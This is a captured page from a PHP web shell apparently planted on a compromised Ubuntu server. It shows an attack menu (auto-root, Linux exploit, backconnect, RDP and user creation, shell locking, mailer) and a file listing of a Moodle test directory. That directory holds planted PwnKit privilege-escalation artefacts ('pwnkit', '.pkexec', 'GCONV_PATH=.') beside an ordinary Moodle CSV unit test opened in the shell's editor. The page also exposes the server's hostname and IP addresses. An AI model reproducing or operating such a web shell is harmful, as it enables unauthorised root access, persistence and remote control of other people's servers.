Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
lib /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxrwx
fixtures
[ DIR ]
drwxrwxrwx
other
[ DIR ]
drwxrwxrwx
performance
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
accesslib_test.php
121.33
KB
-rwxrwxrwx
admintree_test.php
4.01
KB
-rwxrwxrwx
authlib_test.php
6.87
KB
-rwxrwxrwx
blocklib_test.php
13.18
KB
-rwxrwxrwx
code_test.php
2.89
KB
-rwxrwxrwx
completionlib_advanced_test.ph...
4.3
KB
-rwxrwxrwx
completionlib_test.php
29.62
KB
-rwxrwxrwx
componentlib_test.php
6.62
KB
-rwxrwxrwx
conditionlib_test.php
33.62
KB
-rwxrwxrwx
configonlylib_test.php
5.62
KB
-rwxrwxrwx
coursecatlib_test.php
27.33
KB
-rwxrwxrwx
csslib_test.php
54.76
KB
-rwxrwxrwx
csvclass_test.php
5.53
KB
-rwxrwxrwx
datalib_test.php
12.26
KB
-rwxrwxrwx
environment_test.php
1.57
KB
-rwxrwxrwx
eventslib_test.php
7.97
KB
-rwxrwxrwx
externallib_test.php
6.19
KB
-rwxrwxrwx
filelib_test.php
14.51
KB
-rwxrwxrwx
filter_test.php
26.7
KB
-rwxrwxrwx
formslib_test.php
28.63
KB
-rwxrwxrwx
gradelib_test.php
2.03
KB
-rwxrwxrwx
grouplib_test.php
18.92
KB
-rwxrwxrwx
html2text_test.php
6.15
KB
-rwxrwxrwx
htmlpurifier_test.php
9.8
KB
-rwxrwxrwx
htmlwriter_test.php
6.3
KB
-rwxrwxrwx
markdown_test.php
2.21
KB
-rwxrwxrwx
mathslib_test.php
8.21
KB
-rwxrwxrwx
medialib_test.php
23.77
KB
-rwxrwxrwx
messagelib_test.php
7.46
KB
-rwxrwxrwx
modinfolib_test.php
8.07
KB
-rwxrwxrwx
moodlelib_test.php
123.49
KB
-rwxrwxrwx
navigationlib_test.php
24.21
KB
-rwxrwxrwx
outputcomponents_test.php
18.2
KB
-rwxrwxrwx
outputlib_test.php
8.9
KB
-rwxrwxrwx
outputrequirementslib_test.php
1.71
KB
-rwxrwxrwx
pagelib_test.php
22.8
KB
-rwxrwxrwx
pluginlib_test.php
37.15
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
questionlib_test.php
3.1
KB
-rwxrwxrwx
rsslib_test.php
7.12
KB
-rwxrwxrwx
setuplib_test.php
5.73
KB
-rwxrwxrwx
statslib_test.php
19.13
KB
-rwxrwxrwx
string_test.php
4.21
KB
-rwxrwxrwx
textlib_test.php
24.62
KB
-rwxrwxrwx
upgradelib_test.php
1.47
KB
-rwxrwxrwx
weblib_test.php
16.3
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : csvclass_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Tests csv import and export functions * * @package core * @category phpunit * @copyright 2012 Adrian Greeve * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->dirroot . '/lib/csvlib.class.php'); class csvclass_testcase extends advanced_testcase { var $testdata = array(); var $teststring = ''; var $teststring2 = ''; var $teststring3 = ''; var $teststring4 = ''; protected function setUp(){ $this->resetAfterTest(true); $csvdata = array(); $csvdata[0][] = 'fullname'; $csvdata[0][] = 'description of things'; $csvdata[0][] = 'beer'; $csvdata[1][] = 'William B Stacey'; $csvdata[1][] = '<p>A field that contains "double quotes"</p>'; $csvdata[1][] = 'Asahi'; $csvdata[2][] = 'Phillip Jenkins'; $csvdata[2][] = '<p>This field has </p> <p>Multiple lines</p> <p>and also contains "double quotes"</p>'; $csvdata[2][] = 'Yebisu'; $this->testdata = $csvdata; // Please note that each line needs a carriage return. $this->teststring = 'fullname,"description of things",beer "William B Stacey","<p>A field that contains ""double quotes""</p>",Asahi "Phillip Jenkins","<p>This field has </p> <p>Multiple lines</p> <p>and also contains ""double quotes""</p>",Yebisu '; $this->teststring2 = 'fullname,"description of things",beer "Fred Flint","<p>Find the stone inside the box</p>",Asahi,"A fourth column" "Sarah Smith","<p>How are the people next door?</p>,Yebisu,"Forget the next" '; $this->teststring4 = 'fullname,"description of things",beer "Douglas Dirk","<p>I am fine, thankyou.</p>",Becks "Addelyn Francis","<p>Thanks for the cake</p>",Becks "Josh Frankson","<p>Everything is fine</p>",Asahi "Heath Forscyth","<p>We are going to make you lose your mind</p>",Fosters '; } public function test_csv_functions() { global $CFG; $csvexport = new csv_export_writer(); $csvexport->set_filename('unittest'); foreach ($this->testdata as $data) { $csvexport->add_data($data); } $csvoutput = $csvexport->print_csv_data(true); $this->assertEquals($csvoutput, $this->teststring); $test_data = csv_export_writer::print_array($this->testdata, 'comma', '"', true); $this->assertEquals($test_data, $this->teststring); // Testing that the content is imported correctly. $iid = csv_import_reader::get_new_iid('lib'); $csvimport = new csv_import_reader($iid, 'lib'); $contentcount = $csvimport->load_csv_content($this->teststring, 'utf-8', 'comma'); $csvimport->init(); $dataset = array(); $dataset[] = $csvimport->get_columns(); while ($record = $csvimport->next()) { $dataset[] = $record; } $csvimport->cleanup(); $csvimport->close(); $this->assertEquals($dataset, $this->testdata); // Testing for the wrong count of columns. $errortext = get_string('csvweirdcolumns', 'error'); $iid = csv_import_reader::get_new_iid('lib'); $csvimport = new csv_import_reader($iid, 'lib'); $contentcount = $csvimport->load_csv_content($this->teststring2, 'utf-8', 'comma'); $importerror = $csvimport->get_error(); $csvimport->cleanup(); $csvimport->close(); $this->assertEquals($importerror, $errortext); // Testing for empty content $errortext = get_string('csvemptyfile', 'error'); $iid = csv_import_reader::get_new_iid('lib'); $csvimport = new csv_import_reader($iid, 'lib'); $contentcount = $csvimport->load_csv_content($this->teststring3, 'utf-8', 'comma'); $importerror = $csvimport->get_error(); $csvimport->cleanup(); $csvimport->close(); $this->assertEquals($importerror, $errortext); // Testing for a tab separated file. // The tab separated file has a trailing tab and extra blank lines at the end of the file. $filename = $CFG->dirroot . '/lib/tests/fixtures/tabfile.csv'; $fp = fopen($filename, 'r'); $tabdata = fread($fp, filesize($filename)); fclose($fp); $iid = csv_import_reader::get_new_iid('tab'); $csvimport = new csv_import_reader($iid, 'tab'); $contentcount = $csvimport->load_csv_content($tabdata, 'utf-8', 'tab'); // This should import four rows including the headings. $this->assertEquals($contentcount, 4); // Testing for empty lines. $iid = csv_import_reader::get_new_iid('blanklines'); $csvimport = new csv_import_reader($iid, 'blanklines'); $contentcount = $csvimport->load_csv_content($this->teststring4, 'utf-8', 'comma'); // Five lines including the headings should be imported. $this->assertEquals($contentcount, 5); } }
Close